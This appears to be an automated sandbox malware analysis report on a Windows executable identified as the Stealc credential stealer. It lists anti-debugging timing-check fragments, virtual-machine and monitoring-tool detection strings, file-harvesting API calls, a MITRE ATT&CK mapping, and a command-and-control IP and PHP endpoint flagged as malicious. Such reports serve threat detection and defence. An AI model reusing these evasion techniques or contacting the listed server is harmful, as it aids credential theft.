Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7911B3 second address: 7911C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA43130E31Bh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7911C5 second address: 7911DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA430E679F2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7911DB second address: 7911F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E324h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79559D second address: 7955A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7955A8 second address: 7955AE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79572C second address: 795748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA430E679E6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA430E679EFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795748 second address: 79574C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795C92 second address: 795C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795C96 second address: 795CAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA43130E31Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795CAD second address: 795CC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA430E679F7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795CC8 second address: 795CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796733 second address: 79673B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79673B second address: 79673F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79673F second address: 79674F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA430E679E6h 0x00000008 jne 00007FA430E679E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A402 second address: 79A41C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E320h 0x00000007 jnp 00007FA43130E316h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799ECA second address: 799EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FA430E679F2h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799EE5 second address: 799EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799EE9 second address: 799EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A07E second address: 79A0A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FA43130E322h 0x0000000d jng 00007FA43130E316h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A0A0 second address: 79A0A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AD90B second address: 7AD90F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A21A6 second address: 7A21AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C91DD second address: 7C91E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C94A7 second address: 7C94AD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C94AD second address: 7C94CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA43130E326h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C961D second address: 7C9621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9B68 second address: 7C9B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9E23 second address: 7C9E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCA5B second address: 7CCA71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCA71 second address: 7CCA86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA430E679F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCF52 second address: 7CCF89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E323h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sub edx, 09EC2623h 0x00000012 push dword ptr [ebp+122D28F2h] 0x00000018 add edx, dword ptr [ebp+122D3382h] 0x0000001e push BFB87420h 0x00000023 push eax 0x00000024 push edx 0x00000025 push esi 0x00000026 push eax 0x00000027 pop eax 0x00000028 pop esi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE17C second address: 7CE181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE181 second address: 7CE197 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E31Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE197 second address: 7CE19B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFD33 second address: 7CFD37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFD37 second address: 7CFD50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jbe 00007FA430E679E6h 0x0000000f push edx 0x00000010 pop edx 0x00000011 ja 00007FA430E679E6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C02F2 second address: 52C02FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 3972h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C02FB second address: 52C030E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA430E679EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C030E second address: 52C0346 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c mov edi, 4EB39E46h 0x00000011 mov dx, 58D2h 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 jmp 00007FA43130E329h 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov eax, edx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C037D second address: 52C0412 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FA430E679EFh 0x0000000c sbb al, 0000003Eh 0x0000000f jmp 00007FA430E679F9h 0x00000014 popfd 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 mov dx, B652h 0x0000001c mov esi, edi 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FA430E679EBh 0x00000027 xor cl, 0000004Eh 0x0000002a jmp 00007FA430E679F9h 0x0000002f popfd 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 jmp 00007FA430E679EDh 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FA430E679F8h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0412 second address: 52C0421 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0421 second address: 52C0439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA430E679F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6811 second address: 6F6816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6816 second address: 6F681C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F697D second address: 6F6981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6EBF57 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 713BD7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6F26CF instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002F38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_002F38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002F4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_002EDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_002EE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_002EED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002F4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_002F4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_002EBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_002F3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002EF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EF68A FindFirstFileA,	0_2_002EF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002E16D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002E1160 GetSystemInfo,ExitProcess,

0_2_002E1160

Source: file.exe, file.exe, 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2102958941.0000000001382000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWNm
Source: file.exe, 00000000.00000002.2102958941.0000000001382000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2102958941.000000000130E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2102958941.0000000001352000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXg8
Source: file.exe, 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13690
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13693
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13745
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13705
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13711

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002E45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_002E45C0

Source: C:\Users\user\Desktop\file.exe

0_2_002F9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002F9750 mov eax, dword ptr fs:[00000030h]

0_2_002F9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_002F7850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6756, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_002F9600

Source: file.exe, file.exe, 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_002F7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002F6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_002F6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_002F7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002F7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_002F7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2061630664.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2102958941.000000000130E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2061630664.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2102958941.000000000130E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	53%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/x	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php=	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpr	17%	Virustotal		Browse
http://185.215.113.37/D	17%	Virustotal		Browse
http://185.215.113.37/v	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpe	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpU	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpS	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpX	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.php=	file.exe, 00000000.00000002.2102958941.0000000001366000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/D	file.exe, 00000000.00000002.2102958941.0000000001352000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpr	file.exe, 00000000.00000002.2102958941.0000000001366000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2102958941.000000000130E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/x	file.exe, 00000000.00000002.2102958941.000000000130E000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpU	file.exe, 00000000.00000002.2102958941.0000000001366000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpe	file.exe, 00000000.00000002.2102958941.0000000001366000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/v	file.exe, 00000000.00000002.2102958941.0000000001352000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpS	file.exe, 00000000.00000002.2102958941.0000000001352000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpX	file.exe, 00000000.00000002.2102958941.0000000001352000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532868
Start date and time:	2024-10-14 03:57:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 7s
